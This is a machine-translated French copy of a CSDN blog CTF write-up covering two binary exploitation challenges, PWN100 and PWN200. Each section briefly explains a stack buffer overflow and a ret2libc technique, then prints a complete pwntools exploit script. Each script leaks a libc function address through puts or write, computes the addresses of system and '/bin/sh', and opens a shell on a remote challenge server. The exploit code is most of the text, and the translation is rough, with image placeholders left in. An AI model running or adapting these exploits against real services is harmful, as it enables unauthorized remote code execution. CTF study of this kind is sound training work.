Monde offensif et défensif PWN100 && PWN200

pwn100

Faites glisser dans l'analyse ida, principalement comme suit:
Insérez la description de l'image ici
Insérez la description de l'image ici
Mon idée de base est d'utiliser le débordement de pile, de divulguer l'adresse de la fonction de lecture via la fonction put, d'obtenir la version libc correspondante via l'outil, de revenir à la fonction principale, d'effectuer un deuxième débordement puis d'attaquer

Premier débordement:

Comme le programme est un programme 64 bits et que les sept premiers paramètres du programme 64 bits sont placés dans le registre, le premier paramètre est placé dans le registre rdi, nous devons donc d'abord trouver les gadgets correspondants

Insérez la description de l'image ici
C'est ce que nous allons utiliser
, puis passez l'adresse got de read, appelez la fonction put et revenez à la fonction principale.

Deuxième débordement:

Après avoir obtenu l'adresse de la fonction de lecture, obtenez la version de la libc correspondante via l'outil correspondant, tel que LibcSearcher. Je n’ai pas utilisé LibcSearcher ici, je l’ai trouvé sur le site Web après avoir sorti l’adresse: https://libc.blukat.me/
Calculez l’adresse de base, system_addr et bin_sh_addr, et effectuez le deuxième débordement

exp est la suivante:

from pwn import *

sh=remote("124.126.19.106",40355)
elf=ELF('./pwn100')

put_addr=elf.plt['puts']
read_got=elf.got['read']
main_addr=0x4006b8
poprdi=0x400763

payload1='a'*0x48+p64(poprdi)+p64(read_got)+p64(put_addr)+p64(main_addr)+'a'*(200-0x48-32)
#此处实现的效果就是:
#push read_got
#pop rdi
#call puts
#call main
#最后一部分是因为
sh.send(payload1)
sh.recvuntil("bye~\n")
read_addr=u64(sh.recv().split('\n')[0].ljust(8,'\x00'))
print hex(read_addr)

base=read_addr-0x0f7250
system_addr=base+0x045390
binsh_addr=base+0x18cd57
#read_offset=0x0f7250
#system_offset=0x045390
#bin_offset=0x18cd57

payload2='a'*0x48+p64(poprdi)+p64(binsh_addr)+p64(system_addr)+'a'*(200-0x48-24)
sh.sendline(payload2)
sh.interactive()

pwn200

Glisser dans ida: L'
Insérez la description de l'image ici
Insérez la description de l'image ici
idée de base est de divulguer l'adresse de la fonction d'écriture via la fonction d'écriture, puis de trouver la version de la libc correspondante, de revenir à la fonction principale et d'effectuer un deuxième débordement

Premier débordement:

La fonction d'écriture nécessite ici trois paramètres

Par conséquent, nous ajoutons successivement l'adresse plt d'écriture, l'adresse plt de main, le premier paramètre d'écriture (1), le deuxième paramètre (l'adresse obtenue d'écriture) et le troisième paramètre d'écriture (longueur de sortie) dans la charge utile.

Deuxième débordement:

Comme ci-dessus, trouvez la libc correspondante, calculez l'adresse de base, l'adresse système et l'adresse bin_sh à attaquer

exp est la suivante:

from pwn import *
#context.log_level='debug'
sh=remote("124.126.19.106",59657)
elf=ELF('./pwn200')

write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x080484be

payload='a'*(0x6c+0x4)
payload+=p32(write_plt)
payload+=p32(main_addr)
payload+=p32(1)
payload+=p32(write_got)
payload+=p32(4)
#这里设为输出四个字节

sh.sendlineafter("\n",payload)
write_addr=u32(sh.recv(4))
#接收四个字节
print hex(write_addr)

#libc=LibcSearcher('write',write_addr)
base=write_addr-0x0d43c0
system_addr=base+0x03a940
bin_addr=base+0x15902b

payload='a'*(0x6c+0x4)
payload+=p32(system_addr)
payload+='a'*0x4
payload+=p32(bin_addr)
sh.sendline(payload)
sh.interactive()

Je suppose que tu aimes

Origine blog.csdn.net/weixin_45677731/article/details/106186830
conseillé
Classement